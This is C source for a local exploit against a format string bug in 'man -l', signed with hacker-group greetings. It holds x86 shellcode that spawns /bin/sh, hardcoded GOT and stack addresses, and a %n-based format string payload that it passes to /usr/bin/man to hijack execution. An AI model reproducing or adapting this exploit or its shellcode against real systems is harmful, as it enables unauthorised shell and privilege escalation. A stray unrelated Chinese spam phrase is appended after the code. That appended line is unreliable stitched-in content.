/* local man exploit * -l format string bug * * greets: skyper, gamma, muskrat, scut, hendy, #!teso, #!el8 * segfault.net * * -- * Andi */ #include char shell[]= "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; #define STACKPOP 167 #define GOT 0x0805d1d4 #define ADDR 0xbffff178 /* really? =) */ #define POPCMD "%08x|" char *convert(long v); int main(int argc, char **argv) { char buf[2048] = "", stackpop[2048] = ""; int i = STACKPOP, j; while (i--) strcat(stackpop, POPCMD); j = ADDR + 12 + STACKPOP * strlen(POPCMD) + 20; i = (j >> 16) & 0xffff - 12 - STACKPOP * strlen(POPCMD) - 16; j = j & 0xffff - i; snprintf(buf, sizeof(buf), "%s\x90\x90\x90\x90%s%s%%.%05du%%n%%n", convert(GOT), convert(GOT+2), stackpop, i, j); strcat(buf,"\x90\x90\x90\x90\x90\x90"); strcat(buf, shell); i = 2046 - strlen(buf); while (i--) strcat(buf, " "); execl("/usr/bin/man","man","-l", buf, NULL); } char *convert(long v) { char *t = (char*) malloc(5); sprintf(t, "%c%c%c%c", (v & 0xff), (v >> 8) & 0xff, (v >> 16) & 0xff, ( v >> 24) & 0xff); return t; }

亚洲欧美在线